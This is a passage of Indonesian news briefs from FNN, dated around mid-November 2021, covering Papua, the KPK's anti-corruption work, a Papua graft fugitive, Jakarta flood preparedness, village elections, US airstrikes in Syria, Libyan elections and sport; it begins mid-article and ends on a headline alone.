keberadaan Freeport. Ironisnya, kata Gery, warga Suku Kamoro yang bermukim di wilayah pesisir Mimika yang selama ini merasakan langsung dampak limbah tailing Freeport hampir tidak tersentuh pembangunan. "Kami bicara apa adanya saja, selama ini pembangunan di Papua itu diarahkan ke gunung, sementara sampai sekarang yang selalu ribut dan kacau itu di gunung, tolong perhatikan juga kami masyarakat yang tinggal di pesisir. Mimika punya anggaran triliunan rupiah, tapi dari tahun ke tahun warga saya di pesisir pantai itu tidak pernah menikmati pembangunan, mereka tetap tertinggal di semua aspek," tutur Gery. Warga Suku Kamoro merupakan satu dari dua suku asli Mimika yang bermukim di sepanjang wilayah pesisir Mimika mulai dari Potowayburu perbatasan dengan Kabupaten Kaimana, Provinsi Papua Barat hingga Distrik Jita yang berbatasan dengan Kabupaten Asmat. Pada Sabtu (13/11), Presiden Jokowi bersama sejumlah menteri Kabinet Indonesia Maju untuk menutup kegiatan Pekan Paralimpiade Nasional atau Pekan Paralimpik Indonesia (Peparnas) 2021. (sws, ant)

Bupati Banyumas Klarifikasi Cuplikan Video Pernyataan tentang OTT KPK

Purwokerto, FNN - Bupati Banyumas Achmad Husein memberikan klarifikasi terkait dengan cuplikan video pernyataannya tentang operasi tangkap tangan (OTT) Komisi Pemberantasan Korupsi (KPK) yang viral di media sosial. "Cuplikan video yang viral di media sosial itu tidak lengkap, sehingga saya perlu lakukan klarifikasi," katanya di Purwokerto, Kabupaten Banyumas, Jawa Tengah, Minggu. Menurut dia, cuplikan video tersebut merupakan kegiatan diskusi dalam ranah tindak pencegahan yang diadakan oleh Koordinasi Supervisi Pencegahan (Korsupgah) KPK, bukan ranah penindakan. "Yang namanya pencegahan kan ya dicegah bukan ditindak. Sebetulnya ada enam poin yang saya sampaikan, salah satunya tentang OTT. Dengan pertimbangan bahwa OTT itu menghapus dan menghilangkan kepada daerah," katanya menjelaskan. Padahal, kata dia, bisa jadi kepala daerah tersebut punya potensi dan kemampuan untuk memajukan daerahnya. Ia mengatakan belum tentu dengan di-OTT, keadaan daerah tersebut akan menjadi lebih baik. Selain itu, lanjut dia, kepala daerah yang di-OTT bisa jadi baru pertama kali berbuat dan bisa jadi tidak tahu karena sering di masa lalu kebijakan tersebut aman-aman saja, sehingga diteruskan. Bupati mengatakan jika dilihat, kemajuan kabupaten yang pernah terkena OTT hampir pasti lambat karena semua ketakutan berinovasi, suasana pasti mencekam, dan ketakutan walaupun tidak ada lagi korupsi. "Oleh karena itu, saya usul untuk ranah pencegahan apakah tidak lebih baik saat OTT pertama diingatkan saja dahulu dan disuruh mengembalikan kerugian negara, kalau perlu lima kali lipat, sehingga bangkrut dan takut untuk berbuat lagi. Toh untuk OTT, sekarang KPK dengan alat yang canggih, (dalam) satu hari mau OTT lima bupati juga bisa. Baru kalau ternyata berbuat lagi ya di-OTT betulan, dihukum tiga kali lipat silakan atau hukum mati sekalian juga bisa," tuturnya. Husein pun kembali menegaskan bahwa pernyataan tersebut dia sampaikan dalam ranah diskusi pencegahan, bukan penindakan, dan cuplikan videonya tidak lengkap. Tapi kalau mau OTT nggih monggo, sebab kalau KPK berkehendak, bisa jadi 90 persen akan kena semua, walau kecil pasti bupati ada masalahnya. Cari saja salahnya dari begitu banyak tanggung jawab yang diembannya, mulai dari Presiden sampai dengan kepala desa pasti akan ditemukan salahnya walau kadarnya berbeda-beda, ujarnya. Dalam cuplikan video berdurasi 24 detik yang beredar melalui media sosial itu terlihat Bupati Banyumas Achmad Husein sedang menyampaikan pernyataan pada sebuah acara. "Kami para kepala daerah, kami semua takut dan tidak mau di-OTT. Maka kami mohon kepada KPK sebelum OTT, mohon kalau ditemukan kesalahan, sebelum OTT kami dipanggil dahulu. Kalau ternyata dia itu berubah, ya sudah lepas begitu. Tapi kalau kemudian tidak berubah, baru ditangkap Pak," kata Husein dalam cuplikan video. (sws, ant)

Pakar Hukum Sarankan KPK Usut Dugaan Korupsi Tes "PCR"

Jakarta, FNN - Pakar hukum tata Negara Refly Harun menyarankan Komisi Pemberantasan Korupsi (KPK) fokus untuk mengusut dugaan korupsi tes PCR yang melibatkan oknum menteri dari pada kasus formula E. "Mesti prioritaskan kasus seperti bisnis 'PCR', ada angka yang jelas serta aktor yang diduga terlihat jelas," kata Refly di JaKarta, Minggu. Refly juga meminta, agar KPK tidak bertindak sebagai auditor dalam kasus Formula E. Hal itu lantaran wilayah dari Badan Pemeriksa Keuangan (BPK). Lebih baik, kata Refly, KPK memprioritaskan mengusut kasus-kasus yang sudah lebih jelas dugaan kerugian Negara dan siapa aktornya yang terlibat. "Ini kok terkesan KPK seperti sedang melakukan audit sebuah kegiatan, bukan melakukan investigasi kasus korupsi. Soal audit itu kan ranahnya BPK, dan setahu saya BPK sudah melakukan audit dan sudah ada hasilnya," ungkap Refly. Refly pun memahami jika KPK tentu menerima banyak laporan masyarakat terkait sejumlah kasus atau persoalan, baik yang memiliki indikasi korupsi maupun karena faktor lain. Namun demikian, jangan sampai memunculkan anggapan publik soal Formula E. "Jangan sampai memunculkan anggapan publik bahwa ini untuk mengincar Gubernur DKI. Saya tidak bisa membenarkan atau menyalahkan, namanya imajinasi publik, bisa muncul kapan dan apa saja, ucap dia. Dia menjelaskan politik sangat berkelindan dengan penegakan hukum. Sehingga dapat membahayakan proses demokrasi. "Karena lawan politik itu bisa dihabisi dengan proses hukum. Kini KPK bisa mengeluarkan surat perintah penghentian penyidikan (SP3). KPK bisa sewaktu-waktu menetapkan orang menjadi tersangka, dan kemudian di-SP3. Ini dugaan spekulasi yang saya tidak bisa benarkan dan salahkan, kita inginkan 2024 itu 'fair' pilpresnya," ujar Refly menegaskan. (sws, ant)

HUT Ke-76 Korps Brimob Polri Merupakan Momentum Introspeksi Diri

Kendari, FNN - Komandan Satuan Brigade Mobil (Sat Brimob) Kepolisian Daerah, Sulawesi Tenggara, Kombes Pol Adarma Sinaga mengatakan Hari Ulang Tahun Ke-76 Korps Brimob Polri merupakan momentum menambah spirit kerja dan mengintrospeksi kekurangan. "Hari Ulang Tahun (Korps Brimob Polri) ini membuat dan menambah spirit untuk pribadi, pasukan. Kemudian berani mengintrospeksi kekurangan sehingga ada perbaikan di kemudian hari," kata dia usai mengikuti HUT Koprs Brimob Polri ke-76 secara virtual di Kendari, Minggu. Menurut dia, HUT Korps Brimob Polri menjadi momen bagi pribadi dan pasukan untuk mengintrospeksi baik dari segi pembinaan, operasional maupun dalam tugas-tugas lainnya. Di momen peringatan HUT Korps Brimob Polri, Dansat Brimob Polda Sultra ini juga berharap dan berdoa agar seluruh pasukan di satuannya selalu selalu diberi kesehatan sehingga dapat melayani masyarakat, bangsa dan negara. "Kami juga berterima kasih dan bersyukur kepada Tuhan karena kita selalu diberi kesehatan sehingga kita bisa melaksanakan tugas dengan baik," ujar dia. Puncak peringatan HUT Ke-76 Brimob dilaksanakan secara luring dan daring, diikuti 34 Brimob Polda se-Indonesia, dan dihadiri oleh pejabat tinggi Polri di Mako Brimob Kelapa Dua Depok, Jawa Barat. Dalam kesempatan itu juga dilaksanakan pengheningan cipta untuk menghormati tiga anggota Brimob Polri yang gugur dalam bertugas di Satgas Operasi Madago Raya, Sulawesi Selatan, serta Satgas Operasi Nemangkawi, Papua Khusus di Sulawesi Tenggara, HUT Korps Brimob Polri dihadiri Kapolda Sultra Irjen Pol Teguh Pristiwanto dan jajaran dan diikuti seluruh personel Sat Brimobda Sultra. Diketahui, Brimob Polda Sultra dalam memperingati HUT Korps Brimob Polri tahun ini melakukan berbagai kegiatan sosial di antaranya berbagai sembako ke masyarakat kurang mampu, melakukan pemeliharaan beberapa monumen, memperbaiki rumah-rumah warga, serta melakukan donor darah. (sws, ant)

Borunan Koruptor Kejati Papua Ditangkap di Gianyar Bali

Jayapura, FNN - Made Jabbon Suyasa Putra, koruptor yang sempat buron dan masuk dalam daftar pencarian orang (DPO) Kejaksaan Tinggi (Kejati) Papua ditangkap di Gianyar, Bali dan telah dievakuasi ke Jayapura, Minggu. Asistel Kejati Papua Akhmad Muhdhor di Jayapura, mengakui terpidana Made Putra kabur selama sembilan tahun setelah putusan tingkat kasasi Nomor 392 K/Pid.sus/2012 tanggal 27 Maret 2012. Penangkapan terpidana kasus korupsi di Dinas Pendidikan Kabupaten Keerom dilakukan tim gabungan dari Kejaksaan Tinggi Bali dan Kejati Papua di Banjar Tengah Bon Biu, Kecamatan Blahbatuh, Gianyar, Bali, Kamis (11/11). Terpidana diajukan karena pekerjaan yang menjadi tanggung jawabnya belum selesai namun pembayaran 100 persen sehingga negara dirugikan Rp805.908.700,. Terpidana I Made Jabbon Suyasa Putra melakukan perbuatan tersebut bersama-sama dengan Kepala Dinas Pendidikan dan Pengajaran Kabupaten Keerom, Sakir. Buronnya terpidana terjadi saat menunggu putusan kasasi setelah dikeluarkan demi hukum karena masa penahanannya telah habis., jelas Asintel Akhmad Muhdhor. Ditambahkan, sejak penangguhan itulah I Made Jabbon Suyasa Putra tidak lagi berada di tempat tinggalnya yang sesuai dengan berkas perkara sehingga eksekusi putusan kasasi Nomor 392 K/Pid.sus/2012 tanggal 27 Maret 2012 tidak dapat dilakukan. Terpidana berdasar putusan Nomor 392 K/Pid.sus/2012 dijatuhi penjara selama 1 tahun 6 bulan dan pidana denda sebesar Rp 50.000.000, subsidair 3 bulan kurungan, selain itu diwajibkan membayar uang pengganti sebesar Rp 740.908.700 subsidair 1 tahun penjara. Putusan Nomor 392 K/Pid.sus/2012 itu menguatkan putusan Pengadilan Tindak Pidana Korupsi pada Pengadilan Negeri Kelas IA Jayapura Nomor 02/Pid.Tipikor/2011/PN.Jpr. tanggal 27 September 2011. Setibanya di bandara Sentani, terpidana langsung dimasukkan ke Lembaga Pemasyarakatan kelas II A Abepura utk menjalani sisa hukuman, tambah Akhmad Muhdhor. (sws, ant)

Pemprov DKI Dan PLN Sudah Bicarakan Pengelolaan Listrik Saat Banjir

Jakarta, FNN - Pemerintah Provinsi DKI Jakarta dan PT PLN (Persero) sudah membicarakan pengelolaan listrik agar tidak membahayakan warga saat terjadi banjir di semua wilayah Jakarta. "Hasil pembicaraan tersebut, PLN melalui timnya akan turut mengamankan wilayah DKI Jakarta saat terjadi banjir agar tidak tidak ada warga yang menjadi korban sengatan listrik," kata Gubernur DKI Jakarta, Anies Baswedan, kepada wartawan di Taman Kota Waduk Pluit, Penjaringan, Jakarta Utara, Ahad, 14 November 2021. Anies mengatakan, warga DKI Jakarta pernah menjadi korban sengatan listrik pada saat banjir. "Jangan sampai terjadi lagi korban meninggal dunia karena sengatan listrik pada saat banjir. Karena itu, pengelolaan listrik sangat penting sekali," kata Anies, sebagaimana dikutip dari Antara. Diketahui, PLN menyiapkan 2.356 petugas siaga dalam penanganan kelistrikan menghadapi musim hujan di Jakarta. PLN juga menyiagakan "Disaster Recovery Center" sebagai tempat pemantauan kelistrikan serta posko-posko petugas pelayanan teknis. "Keselamatan jiwa manusia adalah hal paling utama. Pada saat turun hujan lebat yang mengakibatkan banjir, maka listrik terpaksa dipadamkan sementara," katanya. Menurut Anies, bahaya yang bisa terjadi yaitu tersengat aliran listrik karena air merupakan salah satu penghantar listrik yang bisa mengalirkan aliran listrik ke tubuh manusia. Beberapa kondisi yang menyebabkan PLN terpaksa memadamkan listrik, yaitu rumah warga kebanjiran, aset PLN kebanjiran, atau rumah warga dan aset PLN kebanjiran. Secara rutin, PLN melakukan pemeriksaan terhadap tiang dan kabel listrik untuk memastikan penyaluran energi listrik ke masyarakat dalam kondisi normal dan aman. Hal ini untuk mencegah adanya arus bocor yang bisa membahayakan masyarakat terutama saat banjir. Masyarakat bisa melaporkan ke PLN jika menjumpai tiang dan kabel listrik yang membahayakan. Anies mengatakan, seluruh unsur tiga pilar mulai dari Polisi, TNI, dan Pemerintah Provinsi DKI Jakarta, diharapkan dapat bekerja bersama untuk menggalang seluruh kekuatan, bersama masyarakat, bahu-membahu ketika menghadapi ancaman banjir. "Ya di Jakarta kami siap, tapi yang dihadapi Jakarta bukan hanya persoalan di kota ini, tapi semuanya. Kami selalu menggarisbawahi, yang utama ialah semua warga selamat. Tidak ada yang meninggal dunia karena terdampak banjir," kata Anies. Anies menjelaskan, ketika curah hujan melampaui kapasitas, maka semua bekerja melakukan evakuasi, menyelamatkan semua warga. Anies juga mengingatkan semua pihak, untuk siap siaga bencana serta mewaspadai ancaman pandemi Covid-19, terutama saat menyiapkan tenda-tenda pengungsian di tempat yang berisiko tinggi penularan Covid-19. "Tenda yang disiapkan saat ini adalah tenda yang sesuai dengan kondisi pandemi, sehingga menghindarkan penularan jika sampai terjadi kasus di tempat-yang sedang diisolasi," kata Anies. (MD).

Wali Kota Pemahaman Warga Banda Aceh Terhadap Demokrasi Meningkat

Banda Aceh, FNN - Wali Kota Banda Aceh Aminullah Usman menyatakan bahwa pemahaman masyarakat Banda Aceh terhadap demokrasi meningkat, terlihat dari tingginya partisipasi pada pemilihan keuchik (kepala desa) secara langsung (Pilchiksung) di kota setempat. "Masyarakat sudah semakin dewasa dalam menyikapi dan memahami makna demokrasi, serta mengerti akan pentingnya melakukan pemilihan baik tingkat Keuchik, Wali Kota, Gubernur dan legislatif," kata Aminullah Usman di Banda Aceh, Ahad, 14 November 2021. Hal itu disampaikan Aminullah Usman saat memantau proses Pilchiksung tahap pertama Banda Aceh yang berlangsung serentak di 24 desa dari sembilan kecamatan di ibu kota Provinsi Aceh itu. Aminullah mengatakan antusias masyarakat dalam Pilchiksung ini sangat tinggi, di mana mereka begitu euforia menggunakan hak suara dan memberikan dukungan kandidat masing-masing. “Setelah saya memantau dari berbagai lokasi, alhamdulillah antusias masyarakat sangat luar biasa, ini hal yang menggembirakan dalam demokrasi kita," ujarnya, sebagaimana dikutip dari Antara. Aminullah menyebutkan tingkat partisipasi pemilih di setiap desa rata-rata hampir mendekati angka 90 persen menggunakan hak pilihnya di tempat pemungutan suara (TPS). Dalam kesempatan ini, Aminullah mengapresiasi seluruh pelaksana dan kepada semua masyarakat Banda Aceh yang telah mendukung program pemerintah pada Pilchiksung ini hingga berjalan lancar. “Saya mengapresiasi semua pihak yang telah berpartisipasi dalam Pilchiksung ini, dan sejauh ini tidak ada hal-hal yang terjadi di lapangan, semua berjalan baik,” kata politikus PAN itu. Pelaksanaan Pilchiksung serentak Banda Aceh ini juga dipantau langsung oleh Dirjen Bina Pemerintahan Desa Kementerian Dalam Negeri (Pemdes Kemendagri) Yusharto Huntoyungo melalui zoom meeting. Dalam laporannya, Yusharto menyampaikan bahwa pelaksanaan Pilchiksung ini sempat tertunda dikarenakan adanya virus corona varian baru di Indonesia. "Kita sempat melakukan penundaan sampai 8 Oktober 2021. Tersisa 80 daerah yang akan melakukan pilkades sampai Desember 2021," katanya. Pilchiksung ini berlangsung sesuai dengan Permendagri Nomor 72 tahun 2020 tentang Pemilihan Kepala Desa. Lalu, dalam rangka menyukseskan Pilchiksung, Banda Aceh telah mengeluarkan Perwal Nomor 45 Tahun 2020 tentang Penerapan Disiplin dan Protokol Kesehatan. (MD).

Ambang Batas Pilpres Hasilkan Polarisasi Dan Disharmoni Sosial

Jakarta, FNN - Pakar Politik Siti Zuhro menyatakan bahwa ambang batas pemilihan presiden atau presidential threshold pada Pemilihan Umum 2014 dan 2019 yang diikuti oleh dua pasangan calon mengakibatkan polarisasi dan disharmoni sosial yang mengancam persatuan nasional. “Ambang batas pemilihan presiden membuat fungsi representasi tidak efektif karena pasangan calon yang muncul berasal dari kubu tertentu saja,” kata Siti Zuhro dalam diskusi publik yang bertajuk, “Pilpres 2024: Menyoal Presidential Threshold” yang disiarkan di kanal YouTube Forum INSAN CITA, yang dipantau dari Jakarta, Ahad, 14 November 2021. Padahal, menurut Siti, sistem multi partai dengan jumlah yang banyak, serta masyarakat Indonesia yang majemuk tidak seharusnya hanya memunculkan dua pasangan calon saja. Hal tersebut mengakibatkan sistem multi partai dan masyarakat majemuk menjadi tidak terwakilkan dalam skema pemilihan presiden, sehingga membutuhkan upaya yang lebih tinggi dalam rangka menjamin kepentingan rakyat dan membangun demokrasi yang substantif. Selain keterbatasan jumlah pasangan calon, Siti juga berpendapat bahwa ambang batas pemilihan presiden mengakibatkan kompetisi berlangsung secara tidak adil, nama pasangan calon yang kemungkinan besar hanya nama lama, serta menyulitkan kaum perempuan dalam mencalonkan diri menjadi presiden. “Selain perempuan, anak muda, figur-figur non-partai, figur-figur atau tokoh daerah yang tidak terafiliasi partai juga dirugikan (oleh adanya ambang batas pemilihan presiden),” tutur dia, sebagaimana dikutip dari Antara. Ia menegaskan bahwa Indonesia perlu menambah variasi pasangan calon yang berkompetisi di dalam pemilihan presiden. Dengan penduduk yang berjumlah lebih dari 270 juta orang dan tantangan baru yang lebih kompleks, Siti berpandangan bahwa wajar kalau muncul beberapa pasangan calon yang bisa merepresentasikan aspirasi dan kepentingan pemilih yang majemuk. “Ambang batas pemilihan presiden tidak diperlukan, karena kita cuma perlu ambang batas pemilihan legislatif,” kata Siti. (MD).

Militer Amerika Serikat Tutupi Serangan Yang Tewaskan Warga Sipil Suriah

Washington, FNN - Militer Amerika Serikat (AS) menutupi dua serangan udara di Suriah pada 2019 yang menewaskan hingga 64 perempuan dan anak-anak dalam perang melawan ISIS. Kedua serangan udara itu dilakukan berturut-turut di dekat kota Baghuz atas perintah unit operasi khusus rahasia yang bertugas di Suriah. Menurut laporan New York Times (NYT), Sabtu, 13 November 2021, Komando Pusat AS yang mengawasi operasi udara AS di Suriah, mengakui serangan itu untuk pertama kali pekan ini dan membenarkannya. Dalam pernyataan pada Sabtu, 13 November 2021, Komando Pusat mengulangi informasi yang diberikan kepada NYT, 80 orang tewas dalam kedua serangan itu, termasuk 16 petempur ISIS dan empat warga sipil. Komando mengatakan tidak jelas apakah 60 korban lainnya merupakan warga sipil, karena perempuan dan anak-anak bisa saja menjadi petempur. Dalam pernyataan itu, militer mengatakan serangan tersebut merupakan "upaya membela diri yang sah", proporsional dan bahwa "langkah-langkah yang tepat diambil untuk mengesampingkan keberadaan warga sipil". "Kami membenci hilangnya nyawa manusia yang tidak bersalah dan mengambil semua tindakan yang mungkin untuk mencegahnya. Dalam kasus ini, kami melaporkan sendiri dan menyelidiki serangan tersebut berdasarkan bukti yang kami miliki dan bertanggung jawab penuh atas hilangnya nyawa secara tidak sengaja," kata Komando Pusat, sebagaimana dikutip dari Antara. "Jumlah warga sipil di antara 60 korban yang tewas tidak bisa dipastikan karena "banyak perempuan bersenjata dan sedikitnya seorang anak bersenjata teramati" dalam video peristiwa itu," kata pejabat militer seraya menambahkan mayoritas dari korban tewas kemungkinan adalah petempur. Komando Pusat mengatakan, serangan tersebut dilakukan ketika Pasukan Demokratik Suriah (SDF) sedang digempur habis-habisan dan terancam kalah. SDF telah melaporkan, daerah itu bersih dari warga sipil. Inspektur Jenderal Departemen Pertahanan melakukan penyelidikan atas peristiwa yang terjadi pada 18 Maret 2019 itu. Akan tetapi, laporannya kemudian "dibersihkan" dari kata "pengeboman". Menurut NYT, penyelidikan independen dan menyeluruh atas insiden itu tidak pernah dilakukan. Surat kabar itu mengatakan, laporan tersebut didasarkan pada dokumen dan deskripsi laporan yang bersifat rahasia, serta wawancara dengan aparat yang terlibat langsung. Seorang pengacara Angkatan Udara yang berada di pusat operasi pada saat kejadian meyakini serangan tersebut merupakan dugaan kejahatan perang. Dia kemudian memperingatkan Inspektur Jenderal Dephan AS dan Komite Dinas Angkatan Bersenjata Senat AS, tetapi tidak ada tindakan apa-apa. (MD).

Putra Gaddafi Maju Jadi Calon Presiden Libya

Tripoli, FNN - Saif al-Islam al-Gaddafi, putra mantan pemimpin Libya Muammar al-Gaddafi, pada Ahad, 15 November 2021 mendaftarkan diri sebagai calon presiden (capres) pada pemilihan 24 Desember. Pejabat komisi pemilihan mengatakan, Saif adalah salah satu sosok terkemuka yang memang sudah diperkirakan akan mencalonkan diri sebagai presiden. Tokoh-tokoh lain yang diperkirakan akan bersaing sebagai capres adalah komandan militer wilayah timur, Khalifa Haftar; Perdana Menteri, Abdulhamid al-Dbeibah, dan ketua parlemen Aguila Saleh. Foto-foto yang diedarkan di media sosial memperlihatkan Saif, dengan mengenakan pakaian tradisional, menandatangani dokumen di pusat pendaftaran di Sebha, kota di barat daya. Kendati faksi-faksi di Libya dan negara-negara asing mendukung pemilihan pada 24 Desember, penyelenggaraan pemungutan suara masih diragukan karena pihak-pihak yang bersaing belum menyepakati aturan dan jadwal. Sebuah konferensi di Paris pada Jumat, 12 November 2021 menyetujui pemberian sanksi bagi siapa pun yang mengganggu atau mencegah penyelenggaraan pemungutan suara. Saif kemungkinan akan mengandalkan kenangan pada era sebelum pemberontakan, yang didukung NATO, terjadi pada 2011. Pemberontakan itu membuat ayahnya terdepak dari kekuasaan serta menyebabkan negara itu jatuh ke jurang kekacauan dan kekerasan selama satu dekade. Namun, kata para analis, Saif kemungkinan tidak akan memimpin posisi dalam pencalonan. Era Gaddafi masih dikenang oleh sebagian rakyat Libya sebagai masa kepemimpinan diktator. Saif al-Islam dan juga tokoh-tokoh rezim sebelumnya, sudah lama berada di luar lingkaran kekuasaan. Oleh karena itu, mereka mungkin akan sulit mendapat dukungan kuat supaya menjadi pesaing utama dalam pemilihan. (MD).

Gubernur Anies: Selama Pandemi, Pola Dakwah Terjadi Pergeseran

Jakarta, FNN —Gubernur DKI Jakarta Anies Baswedan mengatakan pandemi telah mengubah pola interaksi dan komunikasi masyarakat dunia. Kegiatan-kegiatan yang biasanya dilakukan secara langsung atau tatap muka, kini banyak dilakukan secara virtual. “Jangan anggap enteng efek dari pandemi. Pandemi mengubah pola interaksi, terjadi pergeseran cara berkomunikasi,” kata Anies saat menjadi narasumber Silaturahmi Nasional (Silatnas) Wahdah Islamiyah, Ahad (14/11/2021). Anies kemudian mencontohkan Silatnas Wahdah Islamiyah yang dilakukan secara virtual dan dihadiri 50 ribu lebih kader Wahdah Islamiyah. “Tiga tahun lalu, pernahkah terbayangkan bahwa Silatnas akan berlangsung secara virtual?” tanya Anies. Menurut Anies, pola kegiatan dakwah pun mengalami reformasi dan transformasi. Kegiatan dakwah bergeser dilakukan secara virtual. “Dan itu artinya duduk di mana saja bisa mengakses apa saja. Selama satu setengah tahun pandemi ini umat dibiasakan dengan itu,” jelas Anies. Untuk itu, Anies berharap Wahdah Islamiyah dapat mengantisipasi dan beradaptasi dengan perubahan pola dakwah. Anies yakin, sebagai organisasi yang relatif muda, Wahdah Islamiyah mau belajar. “Wahdah ini muda, kumpulan orang muda itu keunggulannya itu lebih mau belajar terus dan membaca perubahan zaman. Lebih mau untuk mengantisipasi, ini yang harus kita dorong sama-sama,” kata dia. Pada kesempatan ini, Anies juga berpesan kepada kader Wahdah Islamiyah untuk menjaga persatuan NKRI. “Melalui Silatnas ini menyadari kita adalah unsur penjaga persatuan. Tengok ke depan, kita lihat Indonesia harus kita jaga dengan rasa keadilan,” ujar Anies. Sementara itu, Ketua Umum DPP Wahdah Islamiyah Ustaz Zaitun Rasmin mengaku bangga dengan antusiasme kader Wahdah Islamiyah mengikuti Silatnas. Menurut Ustaz Zaitun, tercatat oleh panitia 58 ribu kader Wahdah Islamiyah turut berpartisipasi pada Silatnas. Kepada Anies dan para peserta, Ustaz Zaitun menyampaikan informasi perihal adanya kader Wahdah Islamiyah yang harus menyeberang pulau mencari jaringan internet agar dapat mengikuti Silatnas. Dikatakan Ustaz Zaitun, momen Silatnas yang digelar lima tahun sekali ini memang sangat penting bagi kader untuk konsolidasi dan berbagi informasi. Silatnas juga sebagai ajang pemanasan menjelang pelaksanaan Muktamar IV Wahdah Islamiyah yang bakal digelar Desember 2021 di Makassar, Sulawesi Selatan. (gun)

LPP RRI Perpanjang Masa Pendaftaran Seleksi Calon Dewan Direksi

Jakarta, FNN - Lembaga Penyiaran Publik Radio Republik Indonesia (LPP RRI) memperpanjang masa pendaftaran seleksi calon Dewan Direksi LPP RRI Periode 2021-2026. Dalam surat bernomor S-07/DEWAS-RRI/11/2021 yang ditandatangi Ketua Dewan Pengawas LPP RRI, A. M. Adhy Trisnanto, SE, disebutkan seleksi calon Dewan Direksi LPP RRI Periode 2021-2026 diperpanjang selama sepekan hingga Jumat, 19 November 2021, pukul 17.00 WIB. "Maka kami memberikan izin kepada Tim Seleksi untuk memperpanjang masa pendaftaran seleksi calon Dewan Direksi LPP RRI Periode 2021-2026 sampai dengan batas waktu terakhir tanggal 19 November 2021," tulis pernyataan dalam surat tersebut, dikutip Sabtu. Ketua Dewan Pengawas LPP RRI juga berpesan agar perpanjangan waktu tersebut harus disertai dengan sosialisasi yg lebih intens dan massif. Adapun posisi Dewan Direksi yang tersedia adalah Direktur Utama, Direktur Program dan Produksi (PP), Direktur Teknologi dan Media Baru (TMB), Direktur Layanan dan Pengembangan Usaha (LPU), Direktur Keuangan (khusus PNS, pangkat terendah IV/b) dan Direktur Sumber Daya Manusia dan Umum (khusus PNS, pangkat terendah IV/b). Syarat dan ketentuan pendaftaran bisa diakses melalui https://dewas.rri.co.id/timseldewan direksirri2021-2026/ atau didengarkan melalui RRI Pro 3 FM 88,8 MHz. Selain ketentuan pendaftaran dan persyaratan umum, terdapat persyaratan khusus antara lain, calon Dewan Direksi adalah berusia minimal 40 (empat puluh) tahun dan maksimal 60 (enam puluh) tahun pada saat mendaftar. Untuk persyaratan khusus untuk menduduki jabatan Direktur Keuangan dan Direktur SDM dan Umum adalah Pegawai Negeri Sipil (PNS), memiliki pangkat/golongan minimal Pembina Tk. I-IV/b atau Jabatan Pimpinan Tinggi Pratama. Bagi calon Dewan Direksi yang berasal dari PNS/pegawai BUMN/pegawai BUMD harus memperoleh persetujuan dari instansinya dan dibuktikan dengan surat persetujuan dari pimpinan tertinggi. Calon juga diminta melengkapi kelengkapan dokumen administrasi seperti formulir pendaftaran yang telah diisi dan ditandatangani calon, fotokopi kartu tanda penduduk (KTP) yang masih berlaku dan lainnya. Penyerahan berkas di Sekretariat Panitia lantai 7 Gedung Belakang Kantor Pusat LPP RRI, Jalan Medan Merdeka Barat No 4-5 Jakarta Pusat, yang dibuka setiap hari kerja (Senin-Jumat) pukul 08.00 - 15.00 WIB hingga tenggat terakhir pada 19 November 2021. (mth)

DKP Sulsel: Daya Beli Komoditi Perikanan Naik Setelah COVID-19 Melandai

Makassar, FNN - Kepala Bidang Perikanan Budidaya Dinas Kelautan dan Perikan (DKP) Sulawesi Selatan Hardi Haris mengemukakan bahwa terjadi peningkatan daya beli komoditi perikanan setelah kasus COVID-19 melandai. "Untuk komoditi perikanan sempat turun harganya tetapi sekarang sudah membaik. Termasuk ekspor kita kelihatan sudah mulai bagus, setelah kemarin pandemi sebenarnya produksi kita tetap bagus hanya pasarnya memang ada kendala," urainya di Makassar, Sabtu. Berdasarkan data DKP Sulsel, capaian ekspor komoditi perikanan pada periode Januari hingga Agustus 2020 yakni 205 juta dolar Amerika. Angka tersebut meningkat sebesar 12.7 persen yang totalnya mencapai 231 juta dolar Amerika pada periode yang sama. Pada awal pandemi saat kasus COVID-19 sangat tinggi, kata Hardi, mengakibatkan berbagai pekerja atau buruh yang menangani produk ekspor dari Sulsel tidak bisa bekerja karena ruang gerak yang terbatas. "Sekarang pandemi sudah mulai melandai, pekerja di sana juga sudah mulai buka, makanya permintaan ekspornya juga sudah bagus. Jadi kalau kita lihat jumlah ekspor kita sudah ada peningkatan di banding dengan tahun lalu," kata dia menjelaskan. Menurut dia, ekspor komoditi perikanan Sulsel terbukti membaik karena telah dilakukan direct flight (pengiriman langsung) setiap Sabtu dengan tujuan sejumlah negara Asia, seperti Hongkong dan Jepang. "Itu rencananya tiap hari Sabtu ada ekspor ke negara ini. Garuda siapkan untuk ke Hongkong dan Garuda tidak mungkin buka kalau potensi itu tidak ada," katanya. Hardi juga mengatakan daya jual komoditi perikanan di pasar lokal telah membaik, sebab warung makan dan restoran hingga hotel dianggap telah ramai. "Paling banyak serapannya kan di warung, kemudian di pasar lokal juga. Dari Dinas Perikanan sendiri, rumput laut tetap kita dorong karena yang terbesar di Sulsel kan rumput lautnya," kata dia. (mth)

Egy: Timnas Langsung Fokus ke Laga Kontra Afghanistan dan Myanmar

Jakarta, FNN - Gelandang serang tim nasional Indonesia Egy Maulana Vikri mengatakan bahwa dia dan rekan-rekannya langsung fokus ke dua laga persahabatan FIFA kontra Afghanistan dan Myanmar begitu tiba di Turki pada Jumat (12/11). "Kami sudah fokus ke pertandingan uji coba dan harus kerja keras dan disiplin dalam latihan," ujar Egy, dikutip dari laman PSSI di Jakarta, Sabtu. Menurut pemain klub Liga Slovakia, FK Senica itu, semua pemain skuad "Garuda" dalam kondisi yang baik untuk menjalani latihan. Soal cuaca di Antalya, Turki, tempat timnas menjalani pemusatan latihan (TC), juga tidak berpengaruh banyak kepada anak-anak asuh pelatih Shin Tae-yong. "Cuaca di sini juga tidak ada masalah bagi kami. Kami sudah latihan ringan seperti berlari dan beberapa latihan terpisah," kata Egy. Di Turki, selain berlatih, skuad "Garuda" akan menjalani dua laga uji coba internasional FIFA yaitu kontra Afghanistan, Selasa (16/11) dan Myanmar, Kamis (25/11). Selepas dari Turki, timnas akan langsung berangkat ke Singapura untuk menjalani Piala AFF 2020. Di turnamen itu, Indonesia yang bergabung di Grup B bersama Vietnam, Malaysia, Kamboja dan Laos, akan menjalani laga perdana pada 9 Desember 2021 kontra Kamboja, lalu menghadapi Laos pada 12 Desember 2021, Vietnam tiga hari kemudian dan Malaysia, 19 Desember 2021. Semua pertandingan timnas Indonesia dilaksanakan di Stadion Bishan, Singapura. Piala AFF 2020 digelar secara terpusat lantaran pandemi COVID-19. (mth)

Polisi Ungkap Ekstasi Logo Moncler Beredar di Kalsel

